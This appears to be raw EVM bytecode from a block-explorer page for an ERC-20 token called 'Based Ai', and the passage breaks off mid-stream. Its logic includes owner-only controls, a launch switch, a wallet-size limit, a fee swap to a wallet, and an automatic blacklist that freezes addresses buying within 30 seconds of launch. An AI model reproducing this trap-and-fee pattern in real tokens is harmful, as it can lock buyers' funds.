ffffffffffff16905090565b6110a033610d44565b6110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d690612a93565b60405180910390fd5b6000600b5414611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b90612b62565b60405180910390fd5b6001600a60006101000a81548160ff02191690831515021790555042600b81905550565b60086020528060005260406000206000915054906101000a900460ff1681565b601e81565b60606040518060400160405280600781526020017f4241534544414900000000000000000000000000000000000000000000000000815250905090565b600c5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111e33384846113da565b905092915050565b6040518060400160405280600781526020017f424153454441490000000000000000000000000000000000000000000000000081525081565b6040518060400160405280600881526020017f426173656420416900000000000000000000000000000000000000000000000081525081565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ed33610d44565b61132c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132390612a93565b60405180910390fd5b6103e88160035461133d9190612b82565b6113479190612bf3565b60048190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008383111582906113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b5919061281b565b60405180910390fd5b50600083856113cd9190612c24565b9050809150509392505050565b6000601460009054906101000a900460ff1615611403576113fc848484611af6565b9050611aef565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114af5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561159857600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611558575060045482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115559190612ae2565b11155b611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612cca565b60405180910390fd5b5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561163c5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290612d36565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611723575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118eb57600a60009054906101000a900460ff16611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e90612da2565b60405180910390fd5b601e600b546117869190612ae2565b4210156118ea57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361183b576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118e9576001600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6118f3611cc9565b1561190157611900611da0565b5b61198a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113769092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006119d8856122ea565b6119e257826119ed565b6119ec8584612341565b5b9050611a4181600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248590919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ae19190612710565b60405180910390a360019150505b9392505050565b6000611b81826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113769092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cb69190612710565b60405180910390a3600190509392505050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611d365750601460009054906101000a900460ff16155b8015611d4e5750601260149054906101000a900460ff165b8015611d9b5750601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff021916908315150217905550600060135490506000611e006002611df2600e54611de4600c54876124e390919063ffffffff16565b61255d90919063ffffffff16565b61255d90919063ffffffff16565b90506000611e1782846125a790919063ffffffff16565b90506000600267ffffffffffffffff811115611e3657611e35612dc2565b5b604051908082528060200260200182016040528015611e645781602001602082028036833780820191505090505b5090503081600081518110611e7c57611e7b612df1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f479190612e35565b81600181518110611f5b57611f5a612df1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401611ffe959493929190612f5b565b600060405180830381600087803b15801561201857600080fd5b505af115801561202c573d6000803e3d6000fd5b50505050600061204582476125a790919063ffffffff16565b905060006120736120626002600c5461255d90919063ffffffff16565b600e546125a790919063ffffffff16565b905060006120b160026120a384612095600c54886124e390919063ffffffff16565b61255d90919063ffffffff16565b61255d90919063ffffffff16565b905060006120dc836120ce600d54876124e390919063ffffffff16565b61255d90919063ffffffff16565b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161212a90612fe6565b600060405180830381858888f193505050503d8060008114612168576040519150601f19603f3d011682016040523d82523d6000602084013e61216d565b606091505b50509050806121b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a890613047565b60405180910390fd5b60008911156122c357601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308c600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161224396959493929190613067565b60606040518083038185885af1158015612261573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061228691906130dd565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838a6040516122ba929190613130565b60405180910390a15b505050505050505050506000601460006101000a81548160ff021916908315150217905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b60008061236d600f5461235f600e54866124e390919063ffffffff16565b61255d90919063ffffffff16565b90506123c181600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124619190612710565b60405180910390a361247c81846125a790919063ffffffff16565b91505092915050565b60008082846124949190612ae2565b9050838110156124d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d0906131a5565b60405180910390fd5b8091505092915050565b60008083036124f55760009050612557565b600082846125039190612b82565b90508284826125129190612bf3565b14612552576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254990613237565b60405180910390fd5b809150505b92915050565b600061259f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125f1565b905092915050565b60006125e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611376565b905092915050565b60008083118290612638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262f919061281b565b60405180910390fd5b50600083856126479190612bf3565b9050809150509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061268482612659565b9050919050565b61269481612679565b811461269f57600080fd5b50565b6000813590506126b18161268b565b92915050565b600080604083850312156126ce576126cd612654565b5b60006126dc858286016126a2565b92505060206126ed858286016126a2565b9150509250929050565b6000819050919050565b61270a816126f7565b82525050565b60006020820190506127256000830184612701565b92915050565b61273481612679565b82525050565b600060208201905061274f600083018461272b565b92915050565b60008115159050919050565b61276a81612755565b82525050565b60006020820190506127856000830184612761565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127c55780820151818401526020810190506127aa565b60008484015250505050565b6000601f19601f8301169050919050565b60006127ed8261278b565b6127f78185612796565b93506128078185602086016127a7565b612810816127d1565b840191505092915050565b6000602082019050818103600083015261283581846127e2565b905092915050565b612846816126f7565b811461285157600080fd5b50565b6000813590506128638161283d565b92915050565b600080604083850312156128805761287f612654565b5b600061288e858286016126a2565b925050602061289f85828601612854565b9150509250929050565b6000806000606084860312156128c2576128c1612654565b5b60006128d0868287016126a2565b93505060206128e1868287016126a2565b92505060406128f286828701612854565b9150509250925092565b60006020828403121561291257612911612654565b5b6000612920848285016126a2565b91505092915050565b600060ff82169050919050565b61293f81612929565b82525050565b600060208201905061295a6000830184612936565b92915050565b6000806040838503121561297757612976612654565b5b600061298585828601612854565b925050602061299685828601612854565b9150509250929050565b6000602082840312156129b6576129b5612654565b5b60006129c484828501612854565b91505092915050565b6000819050919050565b60006129f26129ed6129e884612659565b6129cd565b612659565b9050919050565b6000612a04826129d7565b9050919050565b6000612a16826129f9565b9050919050565b612a2681612a0b565b82525050565b6000602082019050612a416000830184612a1d565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000612a7d600683612796565b9150612a8882612a47565b602082019050919050565b60006020820190508181036000830152612aac81612a70565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612aed826126f7565b9150612af8836126f7565b9250828201905080821115612b1057612b0f612ab3565b5b92915050565b7f54726164696e6720616c726561647920656e61626c6564000000000000000000600082015250565b6000612b4c601783612796565b9150612b5782612b16565b602082019050919050565b60006020820190508181036000830152612b7b81612b3f565b9050919050565b6000612b8d826126f7565b9150612b98836126f7565b9250828202612ba6816126f7565b91508282048414831517612bbd57612bbc612ab3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612bfe826126f7565b9150612c09836126f7565b925082612c1957612c18612bc4565b5b828204905092915050565b6000612c2f826126f7565b9150612c3a836126f7565b9250828203905081811115612c5257612c51612ab3565b5b92915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b6000612cb4602583612796565b9150612cbf82612c58565b604082019050919050565b60006020820190508181036000830152612ce381612ca7565b9050919050565b7f4163636f756e7420697320626c61636b6c697374656400000000000000000000600082015250565b6000612d20601683612796565b9150612d2b82612cea565b602082019050919050565b60006020820190508181036000830152612d4f81612d13565b9050919050565b7f54726164696e67206e6f7420656e61626c656420796574000000000000000000600082015250565b6000612d8c601783612796565b9150612d9782612d56565b602082019050919050565b60006020820190508181036000830152612dbb81612d7f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612e2f8161268b565b92915050565b600060208284031215612e4b57612e4a612654565b5b6000612e5984828501612e20565b91505092915050565b6000819050919050565b6000612e87612e82612e7d84612e62565b6129cd565b6126f7565b9050919050565b612e9781612e6c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612ed281612679565b82525050565b6000612ee48383612ec9565b60208301905092915050565b6000602082019050919050565b6000612f0882612e9d565b612f128185612ea8565b9350612f1d83612eb9565b8060005b83811015612f4e578151612f358882612ed8565b9750612f4083612ef0565b925050600181019050612f21565b5085935050505092915050565b600060a082019050612f706000830188612701565b612f7d6020830187612e8e565b8181036040830152612f8f8186612efd565b9050612f9e606083018561272b565b612fab6080830184612701565b9695505050505050565b600081905092915050565b50565b6000612fd0600083612fb5565b9150612fdb82612fc0565b600082019050919050565b6000612ff182612fc3565b9150819050919050565b7f72656365697665722072656a656374656420455448207472616e736665720000600082015250565b6000613031601e83612796565b915061303c82612ffb565b602082019050919050565b6000602082019050818103600083015261306081613024565b9050919050565b600060c08201905061307c600083018961272b565b6130896020830188612701565b6130966040830187612e8e565b6130a36060830186612e8e565b6130b0608083018561272b565b6130bd60a0830184612701565b979650505050505050565b6000815190506130d78161283d565b92915050565b6000806000606084860312156130f6576130f5612654565b5b6000613104868287016130c8565b9350506020613115868287016130c8565b9250506040613126868287016130c8565b9150509250925092565b60006040820190506131456000830185612701565b6131526020830184612701565b9392505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061318f601b83612796565b915061319a82613159565b602082019050919050565b600060208201905081810360008301526131be81613182565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613221602183612796565b915061322c826131c5565b604082019050919050565b6000602082019050818103600083015261325081613214565b905091905056fea264697066735822122046dc99a8b2c01a4d9ae20f765ab21eb3ec689caba36ef6cd26103b604ea8305564736f6c63430008110033

Deployed Bytecode

0x60806040526004361061023f5760003560e01c80636c0a24eb1161012e578063954bbdec116100ab578063b09f12661161006f578063b09f1266146108b4578063d28d8852146108df578063dd62ed3e1461090a578063f1d5f51714610947578063f887ea401461097057610246565b8063954bbdec146107cb57806395d89b41146107f657806398118cb414610821578063a8aa1b311461084c578063a9059cbb1461087757610246565b8063715018a6116100f2578063715018a61461070a57806378e9792514610721578063893d20e81461074c5780638a8c523c146107775780638b42507f1461078e57610246565b80636c0a24eb146105fd5780636c9bb93b146106285780636ddd1713146106655780636ebcf6071461069057806370a08231146106cd57610246565b80632f54bf6e116101bc5780633eaaf86b116101805780633eaaf86b146105045780633f4218e01461052f57806352f7c9881461056c578063571ac8b0146105955780636b67c4df146105d257610246565b80632f54bf6e1461042f578063313ce5671461046c57806332424aa314610497578063364333f4146104c25780633d5ca64a146104d957610246565b8063095ea7b311610203578063095ea7b314610334578063180b0d7e1461037157806318160ddd1461039c5780631df4ccfc146103c757806323b872dd146103f257610246565b8063024c2ddd1461024b57806303fd2a45146102885780630445b667146102b3578063064a59d0146102de57806306fdde031461030957610246565b3661024657005b600080fd5b34801561025757600080fd5b50610272600480360381019061026d91906126b7565b61099b565b60405161027f9190612710565b60405180910390f35b34801561029457600080fd5b5061029d6109c0565b6040516102aa919061273a565b60405180910390f35b3480156102bf57600080fd5b506102c86109e6565b6040516102d59190612710565b60405180910390f35b3480156102ea57600080fd5b506102f36109ec565b6040516103009190612770565b60405180910390f35b34801561031557600080fd5b5061031e6109ff565b60405161032b919061281b565b60405180910390f35b34801561034057600080fd5b5061035b60048036038101906103569190612869565b610a3c565b6040516103689190612770565b60405180910390f35b34801561037d57600080fd5b50610386610b2e565b6040516103939190612710565b60405180910390f35b3480156103a857600080fd5b506103b1610b34565b6040516103be9190612710565b60405180910390f35b3480156103d357600080fd5b506103dc610b3e565b6040516103e99190612710565b60405180910390f35b3480156103fe57600080fd5b50610419600480360381019061041491906128a9565b610b44565b6040516104269190612770565b60405180910390f35b34801561043b57600080fd5b50610456600480360381019061045191906128fc565b610d44565b6040516104639190612770565b60405180910390f35b34801561047857600080fd5b50610481610d9d565b60405161048e9190612945565b60405180910390f35b3480156104a357600080fd5b506104ac610da6565b6040516104b99190612945565b60405180910390f35b3480156104ce57600080fd5b506104d7610dab565b005b3480156104e557600080fd5b506104ee610e16565b6040516104fb919061273a565b60405180910390f35b34801561051057600080fd5b50610519610e3c565b6040516105269190612710565b60405180910390f35b34801561053b57600080fd5b50610556600480360381019061055191906128fc565b610e42565b6040516105639190612770565b60405180910390f35b34801561057857600080fd5b50610593600480360381019061058e9190612960565b610e62565b005b3480156105a157600080fd5b506105bc60048036038101906105b791906128fc565b610ed2565b6040516105c99190612770565b60405180910390f35b3480156105de57600080fd5b506105e7610f05565b6040516105f49190612710565b60405180910390f35b34801561060957600080fd5b50610612610f0b565b60405161061f9190612710565b60405180910390f35b34801561063457600080fd5b5061064f600480360381019061064a91906128fc565b610f11565b60405161065c9190612770565b60405180910390f35b34801561067157600080fd5b5061067a610f31565b6040516106879190612770565b60405180910390f35b34801561069c57600080fd5b506106b760048036038101906106b291906128fc565b610f44565b6040516106c49190612710565b60405180910390f35b3480156106d957600080fd5b506106f460048036038101906106ef91906128fc565b610f5c565b6040516107019190612710565b60405180910390f35b34801561071657600080fd5b5061071f610fa5565b005b34801561072d57600080fd5b50610736611068565b6040516107439190612710565b60405180910390f35b34801561075857600080fd5b5061076161106e565b60405161076e919061273a565b60405180910390f35b34801561078357600080fd5b5061078c611097565b005b34801561079a57600080fd5b506107b560048036038101906107b091906128fc565b611148565b6040516107c29190612770565b60405180910390f35b3480156107d757600080fd5b506107e0611168565b6040516107ed9190612710565b60405180910390f35b34801561080257600080fd5b5061080b61116d565b604051610818919061281b565b60405180910390f35b34801561082d57600080fd5b506108366111aa565b6040516108439190612710565b60405180910390f35b34801561085857600080fd5b506108616111b0565b60405161086e919061273a565b60405180910390f35b34801561088357600080fd5b5061089e60048036038101906108999190612869565b6111d6565b6040516108ab9190612770565b60405180910390f35b3480156108c057600080fd5b506108c96111eb565b6040516108d6919061281b565b60405180910390f35b3480156108eb57600080fd5b506108f4611224565b604051610901919061281b565b60405180910390f35b34801561091657600080fd5b50610931600480360381019061092c91906126b7565b61125d565b60405161093e9190612710565b60405180910390f35b34801561095357600080fd5b5061096e600480360381019061096991906129a0565b6112e4565b005b34801561097c57600080fd5b50610985611350565b6040516109929190612a2c565b60405180910390f35b6006602052816000526040600020602052806000526040600020600091509150505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b600a60009054906101000a900460ff1681565b60606040518060400160405280600881526020017f4261736564204169000000000000000000000000000000000000000000000000815250905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b1c9190612710565b60405180910390a36001905092915050565b600f5481565b6000600354905090565b600e5481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d3057610caf826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113769092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d3b8484846113da565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b600981565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e13573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60076020528060005260406000206000915054906101000a900460ff1681565b610e6b33610d44565b610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190612a93565b60405180910390fd5b81600c8190555080600d81905550600d54600c54610ec89190612ae2565b600e819055505050565b6000610efe827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610a3c565b9050919050565b600d5481565b60045481565b60096020528060005260406000206000915054906101000a900460ff1681565b601260149054906101000a900460ff1681565b60056020528060005260406000206000915090505481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fae33610d44565b610fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe490612a93565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161105e919061273a565b60405180910390a1565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110a033610d44565b6110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d690612a93565b60405180910390fd5b6000600b5414611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b90612b62565b60405180910390fd5b6001600a60006101000a81548160ff02191690831515021790555042600b81905550565b60086020528060005260406000206000915054906101000a900460ff1681565b601e81565b60606040518060400160405280600781526020017f4241534544414900000000000000000000000000000000000000000000000000815250905090565b600c5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111e33384846113da565b905092915050565b6040518060400160405280600781526020017f424153454441490000000000000000000000000000000000000000000000000081525081565b6040518060400160405280600881526020017f426173656420416900000000000000000000000000000000000000000000000081525081565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ed33610d44565b61132c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132390612a93565b60405180910390fd5b6103e88160035461133d9190612b82565b6113479190612bf3565b60048190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008383111582906113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b5919061281b565b60405180910390fd5b50600083856113cd9190612c24565b9050809150509392505050565b6000601460009054906101000a900460ff1615611403576113fc848484611af6565b9050611aef565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114af5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561159857600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611558575060045482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115559190612ae2565b11155b611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612cca565b60405180910390fd5b5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561163c5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290612d36565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611723575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118eb57600a60009054906101000a900460ff16611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e90612da2565b60405180910390fd5b601e600b546117869190612ae2565b4210156118ea57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361183b576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118e9576001600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6118f3611cc9565b1561190157611900611da0565b5b61198a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113769092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006119d8856122ea565b6119e257826119ed565b6119ec8584612341565b5b9050611a4181600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248590919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ae19190612710565b60405180910390a360019150505b9392505050565b6000611b81826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113769092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cb69190612710565b60405180910390a3600190509392505050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611d365750601460009054906101000a900460ff16155b8015611d4e5750601260149054906101000a900460ff165b8015611d9b5750601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff021916908315150217905550600060135490506000611e006002611df2600e54611de4600c54876124e390919063ffffffff16565b61255d90919063ffffffff16565b61255d90919063ffffffff16565b90506000611e1782846125a790919063ffffffff16565b90506000600267ffffffffffffffff811115611e3657611e35612dc2565b5b604051908082528060200260200182016040528015611e645781602001602082028036833780820191505090505b5090503081600081518110611e7c57611e7b612df1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f479190612e35565b81600181518110611f5b57611f5a612df1565b5b602002602001019073ffffffffffff